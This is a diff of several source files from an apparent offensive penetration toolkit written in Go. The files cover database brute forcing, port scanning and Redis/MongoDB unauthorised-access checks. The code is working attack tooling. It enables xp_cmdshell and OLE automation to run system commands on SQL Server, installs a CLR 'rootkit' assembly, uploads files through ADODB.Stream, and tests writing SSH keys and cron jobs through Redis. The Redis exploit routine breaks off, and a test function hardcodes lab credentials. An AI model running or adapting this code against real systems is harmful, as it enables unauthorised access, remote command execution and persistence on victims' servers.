data1 := []byte{58, 0, 0, 0, 167, 65, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 255, 255, 255, 255, 19, 0, 0, 0, 16, 105, 115, 109, 97, 115, 116, 101, 114, 0, 1, 0, 0, 0, 0}
data2 := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0}
connString := fmt.Sprintf("%s:%v",info.Host,info.Port)
conn, err := GetConn(connString,info.TimeOut)
defer func() {
if conn != nil {
conn.Close()
}
}()
if err != nil {
return false,err
}
err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.TimeOut)))
if err != nil {
return false,err
}
_, err = conn.Write(data1)
if err != nil {
return false,err
}
reply := make([]byte,1024)
count, err := conn.Read(reply)
if err != nil {
return false,err
}
text := string(reply[0:count])
if strings.Contains(text,"ismaster"){
_, err = conn.Write(data2)
if err != nil {
return false,err
}
count, err := conn.Read(reply)
if err != nil {
return false, err
}
text := string(reply[0:count])
if strings.Contains(text,"totalLinesWritten") {
flag = true
Println(fmt.Sprintf(Clearln + "[+] Mongodb %v unauthorized",info.Host))
}
}
return flag,nil
}

535
cmd/mssql.go Normal file
View File

@@ -0,0 +1,535 @@
package cmd
import (
"Yasso/config"
"database/sql"
_ "embed"
"encoding/hex"
"fmt"
"github.com/cheggaaa/pb/v3"
_ "github.com/denisenkom/go-mssqldb"
"github.com/olekukonko/tablewriter"
"github.com/spf13/cobra"
"io/ioutil"
"math"
"os"
"strconv"
"strings"
"time"
)
/*
内网mssql数据库比较多可以完善一下clr和xp_cmdshell,spoacreate
*/
var (
HelpWarSQLKit int
InWarSQLKit int
UnWarSQLKit int
ExecuteMethod int
UploadFile []string
WarSQLKitCommand string
WarSQLCommand string
)
var MssqlCmd = &cobra.Command{
Use: "mssql",
Short: "SQL Server burst module and extend tools (not support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" && ConnHost == ""{
_ = cmd.Help()
}else{
MssqlBurpByUser()
}
},
}
var (
conn = new(setting)
)
func init(){
MssqlCmd.Flags().IntVar(&HelpWarSQLKit,"kithelp",0,"print SQLKit Use help")
MssqlCmd.Flags().IntVar(&InWarSQLKit,"inkit",0,"install mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)]")
MssqlCmd.Flags().IntVar(&UnWarSQLKit,"unkit",0,"uninstall mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)]")
MssqlCmd.Flags().StringVar(&WarSQLKitCommand,"cld","","Execute WarSQLKit Command (eg.) --cld \"whoami\"")
MssqlCmd.Flags().StringVarP(&WarSQLCommand,"sql","s","","Execute sql command")
MssqlCmd.Flags().StringVarP(&SQLCommand,"cmd","c","","Execute System command")
MssqlCmd.Flags().StringVar(&ConnHost,"hostname","","Remote Connect mssql address(brute param need false)")
MssqlCmd.Flags().StringVar(&LoginUser,"user","sa","Login ssh username")
MssqlCmd.Flags().StringVar(&LoginPass,"pass","","Login ssh password")
MssqlCmd.Flags().IntVar(&ExecuteMethod,"method",1,"Execute System command method [1,xpshell] [2,oleshell]")
MssqlCmd.Flags().StringArrayVar(&UploadFile,"upload",nil,"Use ole upload file (.eg) source,dest")
}
func MssqlBurpByUser(){
if BrutePort == 0 {
BrutePort = 1433
}
var ips []string
var err error
if Hosts != "" && ConnHost == ""{
ips,err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v",err))
return
}
if BruteFlag == true {
users,pass := ReadTextToDic("mssql",UserDic,PassDic)
Println(Clearln+"[*] Brute Module [mssql]")
Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips)))
SwitchBurp("mssql",users,pass,ips,BrutePort,Runtime,TimeDuration,"")
}else{
Println(Clearln + "[*] May be you want to brute? try to add --crack")
}
}
if Hosts == "" && ConnHost != "" && LoginUser != "" && LoginPass != ""{
db,status, err := MssqlConn(config.HostIn{Host: ConnHost,Port: BrutePort,TimeOut: TimeDuration},LoginUser,LoginPass)
if err != nil {
Println(fmt.Sprintf("[!] Login mssql failed %v",err))
return
}
if db != nil && status == true {
conn.Setting(db)
switch {
case UnWarSQLKit > 0 && UnWarSQLKit <= 2:
conn.Uninstall_clr(UnWarSQLKit)
case InWarSQLKit > 0 && InWarSQLKit <= 2:
conn.Install_clr(InWarSQLKit)
case SQLCommand != "":
if ExecuteMethod == 1 {
Println("[+] Execute Method: xp_cmdshell")
conn.xp_shell(SQLCommand)
}else if ExecuteMethod == 2 {
Println("[+] Execute Method: ole echo")
conn.sp_shell(SQLCommand)
}
case HelpWarSQLKit > 0 && HelpWarSQLKit <= 2:
WarSQLKitHelp(HelpWarSQLKit)
case len(UploadFile) == 1 :
filelist := strings.Split(UploadFile[0],",")
if len(filelist) == 2{
conn.UploadFile(filelist[0],filelist[1])
}else{
Println("[!] upload file only need 2 params")
}
break
case WarSQLKitCommand != "":
conn.WarSQLKitShell(WarSQLKitCommand)
case WarSQLCommand != "":
r, err := SQLExecute(conn.Conn,WarSQLCommand)
if err != nil {
return
}
for i,s := range r.Rows {
Println(s[i])
}
default:
conn.UnSetting()
}
}
}
}
//go:embed static/WarSQLKit.dll
var WarSQLKitName []byte
//go:embed static/SharpSQLKit.txt
var SharpSQLKit string
type setting struct {
Conn *sql.DB
Command string
}
func MssqlConn(info config.HostIn,user,pass string)(*sql.DB,bool ,error){
var flag = false
db, err := sql.Open("mssql",fmt.Sprintf("sqlserver://%v:%v@%v:%v/?connection&timeout=%v&encrypt=disable",user,pass,info.Host,info.Port,info.TimeOut))
if err == nil {
db.SetConnMaxLifetime(time.Duration(info.TimeOut))
db.SetConnMaxIdleTime(time.Duration(info.TimeOut))
db.SetMaxIdleConns(0)
err = db.Ping()
if err == nil {
flag = true
return db,flag,nil
}
}
return db,flag, err
}
// 设置数据库连接
func (s *setting)Setting(conn *sql.DB){
s.Conn = conn
}
func (s *setting)check_configuration(option string,value int) bool {
var Command = fmt.Sprintf(`SELECT cast(value as INT) as b FROM sys.configurations where name = '%s';`,option)
r, err := SQLExecute(s.Conn,Command)
if err != nil {
return false
}
if len(r.Rows) == 1 && r.Rows[0][0] == strconv.Itoa(value) {
return true
}
return false
}
func (s *setting)set_configuration(option string,value int) bool {
// 设置
var Command = fmt.Sprintf("exec master.dbo.sp_configure '%v','%v';RECONFIGURE;",option,value)
_, err := SQLExecute(s.Conn,Command)
if err != nil {
return false
}
return s.check_configuration(option,value)
}
func (s *setting)set_permission_set() bool {
var Command = fmt.Sprintf("ALTER DATABASE master SET TRUSTWORTHY ON;")
Println("[+] ALTER DATABASE master SET TRUSTWORTHY ON")
_, err := SQLExecute(s.Conn,Command)
if err != nil {
Println("[!] ALTER DATABASE master SET TRUSTWORTHY ON Failed")
return false
}
return true
}
// 启用xp_cmdshell
func (s *setting)Enable_xp_cmdshell() bool {
if !s.set_configuration("show advanced options",1){
Println("[!] cannot ebable 'show advanced options'")
return false
}
if !s.set_configuration("xp_cmdshell",1) {
Println("[!] cannot enable 'xp_cmdshell'")
return false
}
return true
}
// 关闭xp_cmdshell
func (s *setting)Disable_xp_cmdshell()bool{
if !s.set_configuration("show advanced options",1) {
Println("[!] cannot enable 'show advanced options'")
return false
}
if !s.set_configuration("xp_cmdshell",0) {
Println("[!] cannot disable 'xp_cmdshell'")
return false
}
if !s.set_configuration("show advanced options",0){
Println("[!] cannot disable 'show advanced options'")
return false
}
return true
}
func (s *setting)Enable_ole()bool{
if !s.set_configuration("show advanced options",1){
Println("[!] cannot enable 'show advanced options'")
return false
}
if !s.set_configuration("Ole Automation Procedures",1){
Println("[!] cannot enable 'Ole Automation Procedures'")
return false
}
return true
}
func (s *setting)Disable_ole() bool {
if !s.set_configuration("show advanced options",1){
Println("[!] cannot enable 'show advanced options'")
return false
}
if !s.set_configuration("Ole Automation Procedures", 0){
Println("[!] cannot disable 'Ole Automation Procedures'")
return false
}
if !s.set_configuration("show advanced options", 0){
Println("[!] cannot disable 'show advanced options'")
return false
}
return true
}
func (s *setting)sp_shell(Command string) bool {
if s.check_configuration("Ole Automation Procedures",0) && !s.Enable_ole() {
return false
}
var sqlstr = fmt.Sprintf(`declare @shell int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'exec',@exec output,'c:\windows\system32\cmd.exe /c %v'
exec sp_oamethod @exec, 'StdOut', @text out;
exec sp_oamethod @text, 'ReadAll', @str out
select @str`,Command)
Println(fmt.Sprintf("[+] Command: %v",Command))
r, err := SQLExecute(s.Conn,sqlstr)
if err != nil {
Println(fmt.Sprintf("[!] exec ole command failed %v",err))
return false
}
for i,b := range r.Rows {
Println(b[i])
}
return true
}
func (s *setting)xp_shell(Command string) bool {
if s.set_configuration("xp_cmdshell", 0) && !s.Enable_xp_cmdshell() {
return false
}
Println(fmt.Sprintf("[+] Command: %v",Command))
var sqlstr = fmt.Sprintf("exec master..xp_cmdshell '%v'",Command)
r, err := SQLExecute(s.Conn,sqlstr)
if err != nil {
Println(fmt.Sprintf("[!] exec xp_cmdshell command failed %v",err))
return false
}
for _,b := range r.Rows {
Println(b[0])
}
return true
}
func WarSQLKitToHex() string {
return hex.EncodeToString(WarSQLKitName)
}
func (s *setting)CREATE_ASSEMBLY(flag int) bool {
var KitHex string
if flag == 1 {
Println("[+] SQLKit ==> WarSQLKit")
KitHex = WarSQLKitToHex()
}else if flag == 2 {
Println("[+] SQLKit ==> SharpSQLKit")
KitHex = SharpSQLKit
}
var Command = fmt.Sprintf(`CREATE ASSEMBLY [CLR_module]
AUTHORIZATION [dbo]
FROM 0x%s
WITH PERMISSION_SET = UNSAFE;`,KitHex)
_, err := SQLExecute(s.Conn,Command)
if err != nil {
Println(fmt.Sprintf("[!] Import the assembly failed %v",err))
return false
}
Println("[+] Import the assembly")
return true
}
func (s *setting)CREATE_PROCEDURE(flag int) bool {
var Command string
if flag == 1{
Command = fmt.Sprintf(`CREATE PROCEDURE [dbo].[sp_cmdExec] @cmd NVARCHAR (MAX), @result NVARCHAR (MAX) OUTPUT AS EXTERNAL NAME [CLR_module].[StoredProcedures].[CmdExec];`)
}else if flag == 2 {
Command = fmt.Sprintf(`CREATE PROCEDURE [dbo].[ClrExec]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [CLR_module].[StoredProcedures].[ClrExec]`)
}
_, err := SQLExecute(s.Conn,Command)
if err != nil {
Println(fmt.Sprintf("[!] Link the assembly to a stored procedure failed %v",err))
return false
}
Println("[+] Link the assembly to a stored procedure")
return true
}
func (s *setting) Install_clr(flag int) bool {
if !s.set_permission_set() {
return false
}
if !s.CREATE_ASSEMBLY(flag){
return false
}
if !s.CREATE_PROCEDURE(flag){
return false
}
Println("[+] Install SQLKit successful!")
Println("[+] Please Use SQL Connect Tools to Execute")
Println("[+] WarSQLKit Command Help --SQLKit [1,2]")
return true
}
func (s *setting)Uninstall_clr(flag int) bool {
var Command string
if flag == 1 {
Println("[+] SQLKit ==> WarSQLKit")
Command = fmt.Sprintf(`drop PROCEDURE dbo.sp_cmdExec
drop assembly CLR_module`)
}else if flag == 2 {
Println("[+] SQLKit ==> SharpSQLKit")
Command = fmt.Sprintf(`drop PROCEDURE dbo.ClrExec
drop assembly CLR_module`)
}
_, err := SQLExecute(s.Conn,Command)
if err != nil {
Println(fmt.Sprintf("[!] Uninstall SQLKit failed %v",err))
return false
}
Println("[+] Uninstall SQLKit successful!")
return true
}
func ReadFileToSplitHex(path string,splitLength int) []string {
data, err := ioutil.ReadFile(path)
if err != nil {
return []string{}
}
HexData := hex.EncodeToString(data)
var hexList []string
num := int(math.Ceil(float64(len(HexData) / splitLength)))
for i := 0;i < num; i++ {
hexList = append(hexList,HexData[i*splitLength:(i+1)*splitLength])
}
hexList = append(hexList,HexData[num*splitLength:])
// 返回分割好的list
return hexList
}
func (s *setting)UploadFile(source,dest string){
Println(fmt.Sprintf("[+] Ole Upload File %s to %s",source,dest))
if s.set_configuration("Ole Automation Procedures",0) && !s.Enable_ole(){
Println("[!] setting Ole Automation or enable Ole failed")
return
}
var copyCommand = `copy /b`
var splitLength = 250000
Hexlist := ReadFileToSplitHex(source,splitLength)
bar := pb.StartNew(len(Hexlist))
for i,body := range Hexlist {
var text2 = fmt.Sprintf("%v_%v.config_txt",dest,i)
var sqlstr = fmt.Sprintf(`DECLARE @ObjectToken INT
EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT
EXEC sp_OASetProperty @ObjectToken, 'Type', 1
EXEC sp_OAMethod @ObjectToken, 'Open'
EXEC sp_OAMethod @ObjectToken, 'Write', NULL, 0x%s
EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL,'%s', 2
EXEC sp_OAMethod @ObjectToken, 'Close'
EXEC sp_OADestroy @ObjectToken`,body,text2)
_, err := SQLExecute(s.Conn,sqlstr)
if err != nil {
Println(fmt.Sprintf("\n[!] %s_%v.config_txt Error Uploading",dest,i))
return
}
if i == 0 {
copyCommand = copyCommand + ` "` + text2 + `"`
}else{
copyCommand = copyCommand + " +" + ` "` + text2 + `"`
}
time.Sleep(1000 *time.Millisecond)
if s.File_Exists(text2,1) {
bar.Increment()
//Println()(fmt.Sprintf("[+] %s_%v.config_txt Upload completed",dest,i))
}else{
Println(fmt.Sprintf("\n[!] %s_%v.config_txt Error Uploading",dest,i))
return
}
}
copyCommand = copyCommand + ` "` + dest + `"`
var shell = fmt.Sprintf(`
DECLARE @SHELL INT
EXEC sp_oacreate 'wscript.shell', @SHELL OUTPUT
EXEC sp_oamethod @SHELL, 'run' , NULL, 'c:\windows\system32\cmd.exe /c`)
_, err := SQLExecute(s.Conn,shell+copyCommand + "'")
if err != nil {
Println(fmt.Sprintf("%v",err))
return
}
Println("\n[+] copy file success")
time.Sleep(1000*time.Millisecond)
if s.File_Exists(dest,1) {
sqlstr := shell + fmt.Sprintf(`del %s*.config_txt`,dest) + "'"
_, err := SQLExecute(s.Conn,sqlstr)
if err != nil {
Println(fmt.Sprintf("[!] del file failed %v",err))
return
}
Println(fmt.Sprintf("\n[+] %s Upload completed",source))
}
}
func (s *setting)File_Exists(path string,value int ) bool {
var Command = fmt.Sprintf(`
DECLARE @r INT
EXEC master.dbo.xp_fileexist '%v', @r OUTPUT
SELECT @r as n`,path)
r,err := SQLExecute(s.Conn,Command)
if err != nil {
return false
}
if len(r.Rows) == 1 && r.Rows[0][0] == strconv.Itoa(value) {
return true
}
return false
}
func WarSQLKitHelp(flag int){
table := tablewriter.NewWriter(os.Stdout)
table.SetHeader([]string{"SQL Command","Introduce"})
table.SetRowLine(true)
var help [][]string
if flag == 1 {
help = config.WarKitHelp
}else if flag == 2 {
help = config.SharpKitHelp
}
for _, v := range help {
table.Append(v)
}
table.Render()
}
func (s *setting)UnSetting(){
s.Conn = nil
}
func (s *setting)WarSQLKitShell(cld string){
var Command = fmt.Sprintf(`declare @shell varchar(8000);
EXEC sp_cmdExec '%v' ,@shell output
select @shell`,cld)
r, err := SQLExecute(s.Conn,Command)
if err != nil {
Println(fmt.Sprintf("[!] %v",err))
return
}
for i,s := range r.Rows {
Println(s[i])
}
}
func Test(){
db,status, err := MssqlConn(config.HostIn{Host: "192.168.248.128",Port: 1433,TimeOut: 1 *time.Second},"sa","admin@123")
if status == true && err == nil {
conn := new(setting)
conn.Setting(db)
conn.UploadFile(`C:\Users\Administrator\Desktop\fscan64.exe`,`1.exe`)
}
}

112
cmd/mysql.go Normal file
View File

@@ -0,0 +1,112 @@
package cmd
import (
"Yasso/config"
"context"
"database/sql"
"fmt"
_ "github.com/denisenkom/go-mssqldb"
"github.com/go-sql-driver/mysql"
_ "github.com/go-sql-driver/mysql"
_ "github.com/lib/pq"
"github.com/spf13/cobra"
"net"
"time"
)
var MysqlCmd = &cobra.Command{
Use: "mysql",
Short: "MYSQL burst module and extend tools (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" && ConnHost == ""{
_ = cmd.Help()
}else{
BruteMysqlByUser()
}
},
}
func BruteMysqlByUser(){
if BrutePort == 0 {
BrutePort = 3306
}
var ips []string
var err error
if Hosts != "" && ConnHost == ""{
ips,err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v",err))
return
}
if BruteFlag == true {
users,pass := ReadTextToDic("mysql",UserDic,PassDic)
Println(Clearln+"[*] Brute Module [mysql]")
Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips)))
SwitchBurp("mysql",users,pass,ips,BrutePort,Runtime,TimeDuration,"")
}else{
Println(Clearln + "[*] May be you want to brute? try to add --crack")
}
}
if Hosts == "" && ConnHost != ""{
if SQLCommand == "" && SQLShellBool == false {
Println("[*] try to add -C to exec sql command or -shell")
return
}
if SQLCommand != "" && SQLShellBool == false {
db,status,err := MySQLConn(config.HostIn{Host: ConnHost,Port: BrutePort,TimeOut: TimeDuration},LoginUser,LoginPass)
if err != nil {
Println("mysql conn failed")
return
}
if status == true {
r,err := SQLExecute(db,SQLCommand)
if err != nil {
Println(fmt.Sprintf("sql execute failed %v",err))
return
}
Println(r.String())
}
}
if SQLCommand == "" && SQLShellBool == true {
db,status,err := MySQLConn(config.HostIn{Host: ConnHost,Port: BrutePort,TimeOut: TimeDuration},LoginUser,LoginPass)
if err != nil {
Println("mysql conn failed")
return
}
if status == true{
SQLshell(db,"mysql")
}
}
}
}
func init(){
MysqlCmd.Flags().StringVarP(&SQLCommand,"cmd","C","","mysql sql command")
MysqlCmd.Flags().StringVar(&ConnHost,"hostname","","Remote Connect a Mysql (brute param need false)")
MysqlCmd.Flags().StringVar(&LoginUser,"user","","Login ssh username")
MysqlCmd.Flags().StringVar(&LoginPass,"pass","","Login ssh password")
MysqlCmd.Flags().BoolVar(&SQLShellBool,"shell",false,"create sql shell to exec sql command")
}
// mysql 连接
func MySQLConn(info config.HostIn,user,pass string)(*sql.DB,bool ,error){
var flag = false
address := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v",user,pass,info.Host,info.Port,time.Duration(info.TimeOut))
mysql.RegisterDialContext("tcp", func(ctx context.Context,network string) (net.Conn, error) {
return GetConn(network,info.TimeOut)
})
db, err := sql.Open("mysql",address)
if err == nil {
db.SetConnMaxLifetime(time.Duration(info.TimeOut))
db.SetConnMaxIdleTime(time.Duration(info.TimeOut))
//defer db.Close()
err = db.Ping()
if err == nil {
flag = true
}
}
return db,flag,err
}

62
cmd/postgres.go Normal file
View File

@@ -0,0 +1,62 @@
package cmd
import (
"Yasso/config"
"database/sql"
"fmt"
_ "github.com/lib/pq"
"github.com/spf13/cobra"
"time"
)
var PostgreCmd = &cobra.Command{
Use: "postgres",
Short: "PostgreSQL burst module (not support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == ""{
_ = cmd.Help()
}else{
BrutePostgreByUser()
}
},
}
func BrutePostgreByUser(){
if BrutePort == 0 {
BrutePort = 5432
}
var ips []string
var err error
if Hosts != ""{
ips,err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v",err))
return
}
if BruteFlag == true {
users,pass := ReadTextToDic("postgres",UserDic,PassDic)
Println(Clearln+"[*] Brute Module [postgres]")
Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips)))
SwitchBurp("postgres",users,pass,ips,BrutePort,Runtime,TimeDuration,"")
}else{
Println(Clearln + "[*] May be you want to brute? try to add --crack")
}
}
}
func PostgreConn(info config.HostIn,user,pass string)(bool, error){
var flag = false
db, err := sql.Open("postgres",fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v",user,pass,info.Host,info.Port,"postgres","disable"))
if err == nil {
db.SetConnMaxLifetime(time.Duration(info.TimeOut))
defer db.Close()
err = db.Ping()
if err == nil {
flag = true
}
}
return flag,err
}

144
cmd/ps.go Normal file
View File

@@ -0,0 +1,144 @@
package cmd
import (
"fmt"
"github.com/panjf2000/ants/v2"
"github.com/spf13/cobra"
"math"
"net"
"sync"
"time"
)
var (
DefaultPorts = "21,22,80,81,135,139,443,445,1433,3306,5432,5985,6379,7001,3389,8000,8080,8089,9000,9200,11211,27017"
//AlivePort []PortResult
)
type PortResult struct {
IP string
Port []int
}
var PortCmd = &cobra.Command{
Use: "ps",
Short: "The port scanning module will find vulnerable ports (not support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" {
_ = cmd.Help()
return
}
var ports []int
hosts ,_ := ResolveIPS(Hosts) // 解析获取ip地址
if Ports != "" {
ports, _ = ResolvePORTS(Ports)
}else{
ports ,_ = ResolvePORTS(DefaultPorts)
}
Println(fmt.Sprintf("Yasso resolve host len is %v,need scan %v port",len(hosts),len(hosts) * len(ports)))
if len(hosts) <= 0 || len(ports) <= 0 {
// resolve failed
return
}
var AlivePort []PortResult
AlivePort = PortScan(hosts,ports)
for _,rs := range AlivePort {
Println(fmt.Sprintf("%v %v",rs.IP,rs.Port))
}
},
}
func init(){
PortCmd.Flags().DurationVarP(&TimeDuration,"time","t",500 * time.Millisecond,"Set timeout (eg.) -t 50ms(ns,ms,s,m,h)")
PortCmd.Flags().StringVarP(&Hosts,"hosts","H","","Set `hosts`(The format is similar to Nmap)")
PortCmd.Flags().StringVarP(&Ports,"ports","p","","Set `ports`(The format is similar to Nmap)(eg.) 1-2000,3389")
PortCmd.Flags().IntVarP(&Runtime,"runtime","r",100,"Set scanner ants pool thread")
rootCmd.AddCommand(PortCmd)
}
// port scanner
func PortScan(host []string,ports []int) []PortResult{
var tempPort []PortResult
var wg sync.WaitGroup
go func() {
for _,ip := range host{
tunnel <- ip
}
}()
for i:=0;i<len(host);i++{
wg.Add(1)
_ = ants.Submit(func() {
ip := <- tunnel
aport := EachScan(ip,ports)
//Println()(aport)
if len(aport) != 0 {
// 扫描完成,加入扫描结果队列
tempPort = append(tempPort,PortResult{ip,aport})
} // 将ip赋值给AlivePort*/
wg.Done()
})
}
wg.Wait()
return tempPort
}
func EachScan(host string,ports[]int)[]int{
var aport []int
var wg sync.WaitGroup
// 计算一个协程需要扫描多少端口
var thread int
// 如果端口数小于协程数量,thread为端口数量
if len(ports) <= Runtime {
thread = len(ports)
}else{
// 计算端口数量
thread = Runtime // 协程数量
}
num := int(math.Ceil(float64(len(ports)) / float64(thread))) // 每个协程的端口数量
// 分割端口
all := map[int][]int{}
for i:=1;i <= thread;i++{
for j:=0;j < num ; j++{
tmp := (i-1)*num + j
if tmp < len(ports) {
all[i] = append(all[i],ports[tmp])
}
}
}
//Println()(all)
for i:= 1 ; i <=thread ; i++{
wg.Add(1)
tmp := all[i]
_ = ants.Submit(func() {
// 1,2 2,3
//Println()(i,thread)
for _,port := range tmp {
// 遍历每一个端口列表
if portConn(host,port) {
aport = append(aport, port) // 端口返回true开放加入aport列表
Println(fmt.Sprintf("[+] %v %v open",host,port))
}
}
wg.Done()
})
}
wg.Wait()
return aport
}
func portConn(addr string,port int) bool{
conn, err := net.DialTimeout("tcp",fmt.Sprintf("%s:%v",addr,port),TimeDuration)
defer func() {
if conn != nil {
_ = conn.Close()
}
}()
if err == nil {
return true
}else{
return false
}
}

416
cmd/redis.go Normal file
View File

@@ -0,0 +1,416 @@
package cmd
// redis 6379 端口
import (
"Yasso/config"
"bufio"
"errors"
"fmt"
"github.com/spf13/cobra"
"net"
"os"
"strings"
"time"
)
var RedisCmd = &cobra.Command{
Use: "redis",
Short: "Redis burst and Redis extend tools (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" && ConnHost == "" {
_ = cmd.Help()
}else{
BruteRedisByUser()
}
},
}
var (
RemoteHost string
RemotePublicKey string
)
func init(){
RedisCmd.Flags().StringVar(&RemotePublicKey,"rekey","","Write public key to Redis (eg.) id_rsa.pub")
RedisCmd.Flags().StringVar(&RemoteHost,"rebound","","Rebound shell address (eg.) 192.168.1.1:4444")
RedisCmd.Flags().StringVar(&ConnHost,"hostname","","Redis will connect this address")
RedisCmd.Flags().StringVar(&LoginPass,"pass","","set login pass")
}
func BruteRedisByUser(){
if BrutePort == 0 {
BrutePort = 6379
}
var ips []string
var err error
if Hosts != "" && ConnHost == "" {
ips,err = ResolveIPS(Hosts)
if err != nil {
Println(fmt.Sprintf("resolve hosts address failed %v",err))
return
}
if BruteFlag == true {
users,pass := ReadTextToDic("redis",UserDic,PassDic)
Println(Clearln+"[*] Brute Module [redis]")
Println(Clearln+"[*] Redis Authorized crack")
Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips)))
SwitchBurp("redis",users,pass,ips,BrutePort,Runtime,TimeDuration,"")
}else{
Println(Clearln + "[*] May be you want to brute? try to add --crack")
}
}
if Hosts == "" && ConnHost != "" && (RemoteHost != "" || RemotePublicKey != ""){
var (
conn net.Conn
status bool
err error
)
if LoginPass != "" {
conn, status, err = RedisAuthConn(config.HostIn{Host: ConnHost,Port: BrutePort,TimeOut: TimeDuration},"",LoginPass)
if err != nil {
Println(fmt.Sprintf("Redis Auth failed %v",err))
}
}else{
conn,status,err = RedisUnAuthConn(config.HostIn{Host: ConnHost,Port: BrutePort,TimeOut: TimeDuration},"",LoginPass)
if err != nil {
Println(fmt.Sprintf("Redis UnAuth failed %v",err))
}
}
if status == true {
RedisExploit(conn,RemoteHost,RemotePublicKey)
}
}else{
Println("[*] May be your want use redis extend ? Try to add --rekey or --rebound")
}
}
// redis config
type RedisConfig struct {
OS string
PID string
ConfigPath string
Version string
DbFileName string
}
func RedisAuthConn(info config.HostIn,user,pass string)(net.Conn,bool,error) {
var flag = false
conn, err := GetConn(fmt.Sprintf("%s:%v",info.Host,info.Port),info.TimeOut)
if err != nil {
return conn,false, err
}
err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.TimeOut)))
if err != nil {
return conn,false,err
}
// 认证
_, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass)))
if err != nil {
return conn,false, err
}
reply, err := RedisReply(conn)
if err != nil {
return conn,false,err
}
if strings.Contains(reply,"+OK") {
flag = true
conf := RedisInfo(conn,reply)
Println(fmt.Sprintf(Clearln + "[+] Redis %s:%v Login Success os:[%v] path:[%v] dbfilename:[%v] pid:[%v]",info.Host,info.Port,conf.OS,conf.ConfigPath,conf.DbFileName,conf.PID))
}
return conn,flag,nil
}
func RedisUnAuthConn(info config.HostIn,user,pass string)(net.Conn,bool,error){
_,_ = user,pass
var flag = false
conn, err := GetConn(fmt.Sprintf("%s:%v",info.Host,info.Port),info.TimeOut)
if err != nil {
return conn,false,err
}
err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.TimeOut)))
if err != nil {
return conn,false,err
}
_, err = conn.Write([]byte("info\r\n"))
if err != nil {
return conn,false,err
}
reply, err := RedisReply(conn)
if err != nil {
return conn,false, err
}
if strings.Contains(reply,"redis_version") {
flag = true
conf := RedisInfo(conn,reply)
Println(fmt.Sprintf(Clearln + "[+] Redis %s:%v unauthorized\n[+] os:[%v] path:[%v] dbfilename:[%v] pid:[%v]",info.Host,info.Port,conf.OS,conf.ConfigPath,conf.DbFileName,conf.PID))
}
return conn,flag,nil
}
func RedisReply(conn net.Conn) (string, error) {
var (
r string
err error
)
buf := make([]byte, 5 * 1024)
for {
count, err := conn.Read(buf)
if err != nil {
break
}
r += string(buf[0:count])
if count < 5 * 1024 {
break
}
}
return r, err
}
// redis get info
func RedisInfo(conn net.Conn,reply string) RedisConfig {
var (
// 第0个是#Server
version = strings.Split(strings.Split(reply,"\r\n")[2],":")[1] // redis version
os = strings.Split(strings.Split(reply,"\r\n")[7],":")[1] // os
pid = strings.Split(strings.Split(reply,"\r\n")[11],":")[1] // redis pid
install = strings.Split(strings.Split(reply,"\r\n")[18],":")[1]
dbfilename string
)
// 读取filename
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG GET dbfilename\r\n")))
if err != nil {
return RedisConfig{}
}
text, err := RedisReply(conn)
if err != nil {
return RedisConfig{}
}
text1 := strings.Split(text, "\r\n")
if len(text1) > 2 {
dbfilename = text1[len(text1)-2]
}else{
dbfilename = text1[0]
}
var redisConfig = RedisConfig{
Version: version,
OS: os,
PID: pid,
ConfigPath: install,
DbFileName: dbfilename,
}
//Println()(redisConfig)
return redisConfig
}
// 测试利用写入是否可用
func RedisWrite(conn net.Conn)(cron bool,ssh bool,err error){
var reply string
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n"))) // 测试公钥写入
if err != nil {
return false,false,err
}
reply, err = RedisReply(conn)
if err != nil {
return false, false, err
}
if strings.Contains(reply,"OK") {
ssh = true
}
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n"))) // 测试定时计划写入
if err != nil {
return false,ssh,err
}
reply, err = RedisReply(conn)
if err != nil {
return false, ssh, err
}
if strings.Contains(reply,"OK") {
cron = true
}
return cron,ssh,nil
}
// 计划任务写入
func RedisExploit(conn net.Conn,RemoteHost string,Filename string){
// 测试写入
cron,ssh,err := RedisWrite(conn)
